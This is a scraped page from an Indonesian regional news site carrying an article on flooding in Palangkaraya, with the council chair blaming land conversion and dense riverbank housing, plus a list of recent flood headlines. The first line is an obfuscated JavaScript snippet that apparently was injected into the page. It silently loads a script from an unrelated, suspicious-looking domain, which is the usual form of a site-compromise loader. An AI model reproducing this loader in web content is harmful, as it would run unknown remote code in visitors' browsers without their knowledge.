(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Palangkaraya

Banjir di Palangkaraya, Ketua DPRD Sebut Banyak Alih Fungsi Lahan


KANALKALIMANTAN.COM, PALANGKARAYA – Secara geografis, Kota Palangkaraya cukup aman dari ancaman bencana alam. Tetapi ternyata di tahun ini saja, sudah dua kali mengalami bencana banjir. Tetapi ini bisa dimaklumi, seiring pertumbuhan penduduk yang cukup tinggi.

Sejumlah kawasan dalam kota yang sebenarnya kawasan resapan atau catchment area tetapi sudah beralih fungsi menjadi permukiman, seperti area bantaran sungai yang rawan banjir.

Namun hendaknya orientasi pembangunan di kota Palangkaraya sudah waktunya berkelanjutan dan bisa direncanakan lebih jauh kedepan, terutama terkait masalah banjir.

“Resiko bencana banjir akan makin diperparah oleh kondisi lingkungan permukiman di daerah bantaran sungai yang sangat padat,” kata Ketua DPRD Palangkaraya SIgit K Yunianto.

 

 

Sistem tata bangunan dan sirkulasi tidak teratur, tanggul sungai yang tidak memadai atau sudah menyatu dengan bangunan hingga terjadi alih fungsi lahan aman di sungai.

Orientasi pembangunan tidak hanya difokuskan pada kawasan yang terdampak banjir saja, tapi juga pada kawasan tengah kota yang berpenduduk padat, contohnya, Jalan Cempaka dan Temanggung Tilung. Dimana hingga kini masih sangat rawan dan mudah terendam air, apabila hujan dengan intensitas lebat dan lama.

Penanganan permukiman dengan konsep waterfront settlement dan perbaikan infrastruktur pendukung dan penataan saluran drainase diharapkan menjadi salah satu fokus pemerintah agar bencana banjir ini tidak terjadi lagi.

Selain itu harus ada solusi secara komperhensif dari seluruh pihak, termasuk yang ada hubungannya dengan pembangunan yang disertai pencegahan dan penanganan secara menyeluruh dari hulu ke hilir. (kanalkalimantan.com/tri)

Reporter : tri
Editor : kk


Al Ghifari

Recent Posts

Rumah Penuh Air, Pak RT Mengungsi ke Rumah Tetangga

KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More

7 jam ago

Lonovila Menoreh Surga Tersembunyi di Perbukitan Menoreh

KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More

7 jam ago

Banjir di Komplek Antasari Perdana II Sungaitabuk, Akses Motor Lumpuh Total

KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More

8 jam ago

Bupati Banjar Bagikan Keperluan Warga Terdampak Banjir di Kelurahan Keraton

KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More

10 jam ago

Resmi! UMP Kalimantan Timur 2026 Naik 5,12%, Jadi Rp3,76 Juta

Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More

16 jam ago

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

1 hari ago

This website uses cookies.